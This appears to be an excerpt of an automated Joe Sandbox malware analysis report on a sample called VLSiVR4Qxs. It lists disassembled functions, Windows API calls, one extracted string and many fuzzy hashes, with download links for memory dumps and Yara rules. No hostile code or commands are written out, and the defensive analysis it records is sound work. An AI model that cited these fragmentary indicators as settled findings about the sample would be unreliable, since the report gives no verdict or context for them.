Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 3c7b1cfbdc1db6794788d11b73a2e1dbc5958929fcab39a10fffe4ae52afcf2b
Instruction ID: 61603d1276056792f99343fc315cd8d21d109589924fc158093f0b8a60af716c
Opcode Fuzzy Hash: 3c7b1cfbdc1db6794788d11b73a2e1dbc5958929fcab39a10fffe4ae52afcf2b
Instruction Fuzzy Hash: 0EF0E53B71020667CB169F75E84566ABF94FFC1B60F0B405AEA098B790C6769942C790

Function 003C7AAF Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00007ABB,003C6DC9), ref: 003C7AB4

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: d46153383b69c42080f0799dfeee866a1b59857e2e1e1c46e313222d045472a1
Instruction ID: ed8f519d5e6a4d25d53524599b9f9792944352f3d658dc805d895eabe8d71750
Opcode Fuzzy Hash: d46153383b69c42080f0799dfeee866a1b59857e2e1e1c46e313222d045472a1
Instruction Fuzzy Hash:

Function 003C1D79 Relevance: 1.4, Strings: 1, Instructions: 156COMMON

Download Yara Rule

Strings

Z81xbyuAua, xrefs: 003C1E9B

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID: Z81xbyuAua
API String ID: 0-3121583705
Opcode ID: c88c1a9c466bd897957904be5867438df3add73d9a3f87acd7af7e7abd35c647
Instruction ID: 28d83b775d9defa9b9677650e080fa369a353bc2fed0147de6763ad12eedc920
Opcode Fuzzy Hash: c88c1a9c466bd897957904be5867438df3add73d9a3f87acd7af7e7abd35c647
Instruction Fuzzy Hash: 8D410A76E2052B4BCB4CEEB888565ABBB69E746350B15427EDD11DB3D2E2348E01C7D0

Function 003DCC4B Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 003DCC4B

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 13ca113fb3ddcdfa875c229ddbb0ffd2764c54731419a6b0d95a973b6b2dabb0
Instruction ID: 18b629a9d26ab08e04e5cb5c51ed8736f27fb7153c913a3719f8b23133be1238
Opcode Fuzzy Hash: 13ca113fb3ddcdfa875c229ddbb0ffd2764c54731419a6b0d95a973b6b2dabb0
Instruction Fuzzy Hash: 13A02434100100DF4300CF355D4D30C37FC55053D0705C17CD000C5071D73040405F04

Function 00419D26 Relevance: .5, Instructions: 489COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction ID: e5c0520f15c8186e41170cde2b002882a3d2f33c95759a1b7791f1f42c3620df
Opcode Fuzzy Hash: 640bf8eae2d78ad77c4c4812c82337757702f6639c51110261f3c9d00c87b92d
Instruction Fuzzy Hash: F002B433D4A6F25B8F714EB944A02A77EB05E0279031F869ADDC03F287C21ADD5A96D4

Function 0041AD13 Relevance: .4, Instructions: 355COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction ID: d97067d1302108fd1cd074f6c3ecc9beb859655167f65cdd59bc9b9e096b1efb
Opcode Fuzzy Hash: f02dcea883d10451d84a59732baab65edb0b568fbd8ca007beb23fa60eef1400
Instruction Fuzzy Hash: B3C1A573D4B5F2058B36852D041827FEE726E82B4131FC396DCD03F38AC62A6DA595D9

Function 0041A92B Relevance: .3, Instructions: 349COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction ID: 3e55893fa399f6ac5485f1744488e205f4af89cd474ca25390647eb4bc9267ff
Opcode Fuzzy Hash: 0c69e47d847606dd43a020a10b245ffd8c98205713db3c8f796c6159738d0b06
Instruction Fuzzy Hash: 71C17173D5F5F2058B36852D09182BBEE725E92B4031FC392CCD03F38AC22A6DA595D9

Function 0041A559 Relevance: .3, Instructions: 332COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction ID: a7dc5a93384c624199da6c003bee8aca6131d5fc633317778c69462f3d4a5ba6
Opcode Fuzzy Hash: 21018234ac6c65dce347e9eb3c09d9e563dc327998c84d170fb29f747537f1fa
Instruction Fuzzy Hash: 18C16473D4F5F2058B35852D08182BBEE725E92B4131FC392DCD03F38AC21AADA595D9

Function 003DBB36 Relevance: .3, Instructions: 327COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID: ErrorLastProcess$CurrentFeatureInfoLocalePresentProcessorTerminate
String ID:
API String ID: 3471368781-0
Opcode ID: d3c0ad09bf2bc1cf0dc7e84e9657cbf18e9935fcd503da82339a06d8d017cb6f
Instruction ID: efc0ad16bfd21752db765ef38f4556dcefc802191c795c374ebc5c9968bf3b04
Opcode Fuzzy Hash: d3c0ad09bf2bc1cf0dc7e84e9657cbf18e9935fcd503da82339a06d8d017cb6f
Instruction Fuzzy Hash: F6B1D436500745CBCB369F25EC92AB6F3A9FF44308F16452FE98386780EB75A985C710

Function 0041A1BB Relevance: .3, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction ID: a764f25aec888d9150ab4f7d3578fad5d57f82beb8e871dd1b4b04f2b2b08b83
Opcode Fuzzy Hash: 21b74c51e355f1ada917146b454bba93dbff062365e48e41ecc74cc68dac6f4d
Instruction Fuzzy Hash: D9B18473D4F5F2058B36852D44582BBEE726E91B4031FC396CCD03F38AC22AADA595D9

Function 004064F5 Relevance: .2, Instructions: 178COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction ID: 95690cab4cf761a602f70a8f64b10377783f3b8d6acc163871f56b517361ad4f
Opcode Fuzzy Hash: 4639c864b91f6e9cc3f469510a2f9944f86d2f54ec5b532889058d1e4e41c286
Instruction Fuzzy Hash: 9551D372900116ABEB18CF59D4816E973B1EF84308F2684BEC84BEF2C6EB345905CB54

Function 004086FD Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction ID: ebfe28d93ada1e18fae735f21ea56aee6af9c243ec0c8084aa620e8d0f7a821f
Opcode Fuzzy Hash: f820d73acb58f4ea73768fd8ccb48802642c53090ea72760e35e0388eb771fac
Instruction Fuzzy Hash: 7D21A821670AE306CB854FF8FCC011267D18BCA21B76EC279CE94CA1A6D47DA6628594

Function 003EE385 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction ID: 58077ed8b5d20ed1364928bf40929046172af1df07542f239d3faa22e4cf4989
Opcode Fuzzy Hash: 01ffdcfc4a170f1596b26d300e4d9eeb94101c14574aad42e0c58a83c969e199
Instruction Fuzzy Hash: 3CF01236A04164EBCF12CF56D804EAAF7B9EB47761F253154E409B3651C334ED11EAA8

Function 003EE013 Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction ID: ea3e4387b39ce806ce78312b7a9645757156f0a8d6b1af2c7d6898ca67931afe
Opcode Fuzzy Hash: e47e57290291bf3e55fc76926b40b9455446aaecab0376499f589c11769486e1
Instruction Fuzzy Hash: 77F03072900A19AFD714CFADD5415DFFBF8EB48320B10856ED4AAF3260D630FA458B51

Function 003DA64C Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction ID: ee09d3b35fe827d10826d196bcc7a75a8694ffda1c22c2ee6cae4a8575422179
Opcode Fuzzy Hash: d30a52f00f890bd01d6e84b1357bca7669443c8ff688bb46904ed1c21e63159d
Instruction Fuzzy Hash: 71E08C73921238EBCB16DB98DA0498AF3ECEB44B01B190497B511D3210C270DE00C7D0

Function 00405582 Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction ID: d256f1c99479b207678580fcb63197705f640815169115519c5f26934de16b0c
Opcode Fuzzy Hash: f8d911352b7be11e8ef3f8d43dc69cd37138e10f06c97852b63a715cd4b250d5
Instruction Fuzzy Hash: 1AE06C78A61648EFC740CF48C185E49B3F8FB09768F118095E905DB321C378EE00EB50

Function 003C2003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c579b0e714423448d1b52f58501dc649371a833c33ea5a1300c8b1e022f27c1
Instruction ID: 5433478a33af7dd53c996558defdf9844bcde2363eeaf86bc50b2a38cbe05f63
Opcode Fuzzy Hash: 8c579b0e714423448d1b52f58501dc649371a833c33ea5a1300c8b1e022f27c1
Instruction Fuzzy Hash: A9D0923A6019109FC210CF09E440941F7B4FB996307164066E90493720C330FC41CAD0

Function 003D0F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 9e4b80874c315201ce343ed12a26faf13659621e0edaf10dbb406fba5e686b81
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: D8C08C36404A00C6CE3F8A30A2713A43359A3A2B82FA404CEDC1A0B742C51EDC82DA01

Function 003EE362 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 003EE37A Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3c0000_VLSiVR4Qxs.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0040F54E Relevance: 54.3, APIs: 36, Instructions: 344
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

operator+.LIBCMT ref: 0040F569

Part of subcall function 0040C678: DName::DName.LIBCMT ref: 0040C68B
Part of subcall function 0040C678: DName::operator+.LIBCMT ref: 0040C692

Memory Dump Source

Source File: 00000000.00000002.2275170978.00000000003ED000.00000004.00000001.01000000.00000003.sdmp, Offset: 003C0000, based on PE: true

Associated: 00000000.00000002.2275069697.00000000003C0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275100253.00000000003C1000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275140810.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275243787.000000000044D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275293744.000000000044F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2275349432.0000000000450000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

